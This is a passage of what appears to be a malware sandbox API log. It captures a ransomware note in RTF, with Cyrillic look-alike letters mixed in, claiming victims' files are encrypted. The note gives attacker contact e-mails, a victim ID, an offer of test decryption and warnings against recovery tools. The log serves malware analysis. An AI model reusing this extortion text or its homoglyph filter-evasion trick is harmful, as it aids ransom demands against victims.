.\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 